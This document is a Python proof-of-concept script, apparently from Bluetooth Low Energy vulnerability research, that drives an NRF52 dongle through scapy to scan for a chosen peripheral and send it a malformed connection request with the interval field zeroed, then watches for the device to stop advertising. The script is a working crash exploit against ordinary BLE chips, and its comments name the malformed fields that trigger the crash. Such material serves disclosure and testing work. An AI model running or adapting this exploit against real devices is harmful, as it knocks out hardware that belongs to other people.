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CC_connection_req_crash.py
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#!/usr/bin/python
import os
import platform
import sys
from threading import Timer
from time import sleep
# libs
sys.path.insert(0, os.getcwd() + '/libs')
import colorama
from colorama import Fore
from drivers.NRF52_dongle import NRF52Dongle
from scapy.layers.bluetooth4LE import *
from scapy.utils import wrpcap
from scapy.compat import raw
none_count = 0
slave_connected = False
send_version_ind = False
end_connection = False
slave_addr_type = 0
def send(scapy_pkt, print_tx=True):
driver.raw_send(raw(scapy_pkt))
if print_tx:
print(Fore.CYAN + "TX ---> " + scapy_pkt.summary()[7:])
# Autoreset colors
colorama.init(autoreset=True)
# Get serial port from command line
if len(sys.argv) >= 2:
serial_port = sys.argv[1]
elif platform.system() == 'Linux':
serial_port = '/dev/ttyACM0'
elif platform.system() == 'Windows':
serial_port = 'COM1'
else:
print(Fore.RED + 'Platform not identified')
sys.exit(0)
print(Fore.YELLOW + 'Serial port: ' + serial_port)
# Get advertiser_address from command line (peripheral addr)
if len(sys.argv) >= 3:
advertiser_address = sys.argv[2].lower()
else:
advertiser_address = '38:81:d7:3d:45:a2'
print(Fore.YELLOW + 'Advertiser Address: ' + advertiser_address.upper())
def crash_timeout():
print(Fore.RED + "No advertisement from " + advertiser_address.upper() +
' received\nThe device may have crashed!!!')
exit(0)
def scan_timeout():
global slave_addr_type, timeout_scan
if not slave_connected:
scan_req = BTLE() / BTLE_ADV(RxAdd=slave_addr_type) / BTLE_SCAN_REQ(
ScanA=master_address,
AdvA=advertiser_address)
send(scan_req)
timeout_scan = Timer(5, scan_timeout)
timeout_scan.daemon = True
timeout_scan.start()
# Default master address
master_address = '5d:36:ac:90:0b:22'
access_address = 0x9a328370
# Open serial port of NRF52 Dongle
driver = NRF52Dongle(serial_port, '115200')
# Send scan request
scan_req = BTLE() / BTLE_ADV(RxAdd=slave_addr_type) / BTLE_SCAN_REQ(
ScanA=master_address,
AdvA=advertiser_address)
send(scan_req)
# Start the scan timeout to resend packets
timeout_scan = Timer(5, scan_timeout)
timeout_scan.daemon = True
timeout_scan.start()
timeout = Timer(5.0, crash_timeout)
timeout.daemon = True
timeout.start()
c = False
print(Fore.YELLOW + 'Waiting advertisements from ' + advertiser_address)
while True:
pkt = None
# Receive packet from the NRF52 Dongle
data = driver.raw_receive()
if data:
# Decode Bluetooth Low Energy Data
pkt = BTLE(data)
# if packet is incorrectly decoded, you may not be using the dongle
if pkt is None:
none_count += 1
if none_count >= 4:
print(Fore.RED + 'NRF52 Dongle not detected')
sys.exit(0)
continue
elif slave_connected and BTLE_EMPTY_PDU not in pkt:
# Print slave data channel PDUs summary
print(Fore.MAGENTA + "Slave RX <--- " + pkt.summary()[7:])
# --------------- Process Link Layer Packets here ------------------------------------
# Check if packet from advertised is received
if pkt:
print(Fore.MAGENTA + "Slave RX <--- " + pkt.summary()[7:])
if pkt and (BTLE_SCAN_RSP in pkt or BTLE_ADV in pkt) and pkt.AdvA == advertiser_address.lower():
timeout.cancel()
slave_addr_type = pkt.TxAdd
print(Fore.GREEN + advertiser_address.upper() + ': ' + pkt.summary()[7:] + ' Detected')
# Send connection request to advertiser
conn_request = BTLE() / BTLE_ADV(RxAdd=slave_addr_type, TxAdd=0) / BTLE_CONNECT_REQ(
InitA=master_address,
AdvA=advertiser_address,
AA=access_address, # Access address (any)
crc_init=0x179a9c, # CRC init (any)
win_size=2, # 2.5 of windows size (anchor connection window size)
win_offset=2, # 1.25ms windows offset (anchor connection point)
interval=16, # 20ms connection interval
latency=0, # Slave latency (any)
timeout=50, # Supervision timeout, 500ms
# ---------------------28 Bytes until here--------------------------
# Truncated when sending over the air, but the initiator will try the following:
chM=0x0000000001,
hop=5, # any, including 0
SCA=0, # Clock tolerance
)
# This means that the initiator will send the anchor point (Empty PDU) on channel 1 and stay there for every connection event)
# conn_request[BTLE_ADV].Length=28 # Truncated, but CRC will be correct when sending over the air
conn_request[BTLE_CONNECT_REQ].interval = 0 # Clearing the interval time triggers the crash.
# conn_request[BTLE_ADV].timeout=0 # Clearing the supervision timeout triggers the crash.
# chM=0x1FFFFFFFFF,
# Yes, we're sending raw link layer messages in Python. Don't tell anyone as this is forbidden!!!
send(conn_request)
wrpcap('logs/CC2540_connection_req_crash.pcap', conn_request)
print(Fore.YELLOW + 'Malformed connection request was sent')
# Start the timeout to detect crashes
timeout = Timer(5.0, crash_timeout)
timeout.daemon = True
timeout.start()
sleep(0.01)